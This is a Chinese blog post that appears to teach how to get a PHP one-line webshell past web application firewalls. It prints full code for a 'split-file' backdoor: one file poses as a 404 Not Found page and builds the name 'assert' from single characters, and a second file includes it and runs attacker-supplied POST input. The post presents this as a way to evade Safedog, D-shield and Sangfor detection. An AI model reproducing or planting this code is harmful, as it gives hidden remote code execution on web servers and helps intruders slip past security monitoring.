php一句话过waf春秋,【过waf篇】一句话木马如何优雅地过waf

【过waf篇】一句话木马如何优雅地过waf

0x00  WAF简介

作者:雨幕 微信公众号:异空间安全

Web应用防护系统(也称:网站应用级入侵防御系统。英文:WebApplicationFirewall,简称:WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

Waf拦截一句话木马原理:以正则表达式匹配关键字判断是否为一句话木马。

0x01 测试环境准备

安全狗 apache 4.0 (把所有防护开启)

D盾 2.12 测试版(最新,主要利用其查杀功能)

深信服 3.3.02

phpstudy

Snipaste_2018-06-29_06-54-51.png

Snipaste_2018-06-29_06-48-37.png

Snipaste_2018-06-29_06-52-41.png

Snipaste_2018-06-29_07-16-32.png

0x01 绕过WAF的常用方法

01.拆分文件法(过盾和狗和服)

拆分文件法意思为把本该一个文件完成的功能拆分成两个文件进行上传进行包含文件执行。这样做可以降低被查杀的概率,特别是某盾对函数捕捉特敏感,这时使用拆分文件法是最好的。

A.404页面拆分模式

404页面为访问页面不存在时候返回的页面,不容易引起别人的注意,适宜后门的隐藏。

文件1:new.php

404 Not Found

Not Found

The requested URL was not found on this server.

$arr = array('a', 's', 's', 'e', 'r', 't');

$func = '';

for ($i = 0; $i < count($arr); $i++) {

$func .= $func . $arr[$i];

}

@$a = @$_POST['a'];

@$b = @$_POST['b'];

$c = $a.$b;

$func = substr($func, -6);

$d = str_replace($a, '', $c);

header('HTTP/1.1 404 Not Found');

?>

文件2:shaD.php

include "new.php";

$func($d);

?>

为了减少深信服的扫描的时间,我把php一句话放到了test文件夹里面,直接扫描,这样减少扫描时间。

Snipaste_2018-06-27_09-49-55.png

Snipaste_2018-06-29_07-19-34.png

Snipaste_2018-06-29_07-19-44.png

Snipaste_2018-06-29_07-19-54.png

这里先演示一种方法,还有个人总结的五种方法将会在逐梦2期线上就业班里面详解,了解逐梦2期请点:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值